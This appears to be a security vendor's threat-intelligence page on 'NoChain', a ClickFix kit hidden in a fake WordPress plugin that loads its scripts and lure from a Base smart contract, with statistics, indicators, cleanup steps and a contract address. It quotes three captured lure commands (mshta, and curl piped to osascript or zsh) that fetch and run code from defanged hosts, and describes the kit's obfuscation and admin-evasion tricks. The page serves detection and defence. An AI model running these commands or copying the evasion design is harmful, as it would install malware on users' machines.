Web threats / ClickFix

NoChain ClickFix kit

NoChain is a ClickFix kit that keeps its scripts and its lure page inside a smart contract on Base, loaded by a fake WordPress plugin. We have matched it on 3,140 sites since 2 August.

NoChain in numbers

Since 2 August, the first NoChain match in our records, counted on 12 November 2026. How we count.

Sites with NoChain code3,140
Sites with a match in the last 30 days1,214
New sites in October135
Still serving it when recaptured at least 25 days later1,169 of 1,582 sites (74%)
Sites running WordPress (captured since 25 September)93%

A fake plugin and a service worker

NoChain installs a plugin in a folder named site-helper- followed by twelve hexadecimal characters. It ships its own copy of ethers.min.js and runtime files with harmless names: diag-runner.js, health-probe.js, runtime-sample.js, front-probe.js. The page carries a settings object, window.wpSiteDiag, holding the contract address, the local ethers file and timing settings. Older builds called it wpPerfSample.

The page also registers a service worker for the whole site, such as nochain-sw.js, which gives the kit a second way back in. The registration skips WordPress administrators, logged-in users and anyone with an nc_skip=1 cookie, so the people running the site are the last to see it.

The code lives in the contract

NoChain's contract on Base holds the code itself. It answers getActiveScripts() with lists of IDs, names and JavaScript, and the loader runs each script in order and caches it. A second pair of calls, hasDemoPage() and getDemoPage(), returns a page the loader installs over the whole screen. That page is the lure.

Large pages are packed. An nc-blob: value is split into chunks, Base64-encoded and gzipped. An ob: value shifts every byte by a seed plus its position modulo 13, then reverses the result. Any controller address sits inside the returned code. The loader reads the contract through several public Base RPC services with failover.

Leftovers after cleanup

On cleaned sites we have found the plugin's settings and script tag still in the page while the runtime file is gone, or the worker replaced by one that unregisters itself. WP Rocket can also delay the plugin script until a visitor interacts with the page, so a quick scan can miss a live file.

What we see

MonthNew sites
September848
October135
November so far21

We matched NoChain on 2,136 sites in August. Of the 1,582 sites recaptured at least 25 days after their first match, 1,169 were still serving it (74%). 93% of NoChain sites captured since 25 September run WordPress.

Checking a site

In WordPress, look for a plugin folder named site-helper- with a random suffix, or files named diag-runner.js, health-probe.js, runtime-sample.js or front-probe.js. In the page source, look for a wpSiteDiag or wpPerfSample object. In your browser's developer tools, check the Application panel for a service worker registered on your site that you did not add.

After removing the plugin, unregister the service worker and purge the site's cache, or the old copies keep running.

Contracts we read

We read 1 NoChain contract every day.

ChainContractCurrent destinationsLast changed
Base0x58460d0b3d4d6b03761c89120393c0c676676496timelevel12[.]com

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

NoChain lure commands we captured download from 3 hosts.

HostSitesLast seenLatest command
timelevel12[.]com543
Command
mshta hxxp://timelevel12[.]com/big

URL hxxp://timelevel12[.]com/big

First seen 29 September 2026, 1 URL on this host.

cache-assistant[.]com2
Command
curl -sf $(echo '[base64 of: hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s]' | base64 -d) | osascript -l JavaScript

URL hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s

First seen 15 September 2026, 1 URL on this host.

journeylake11[.]com1
Command
curl -s $(echo "[base64 of: hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt]" | openssl base64 -d -A) | zsh

URL hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt

First seen 21 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.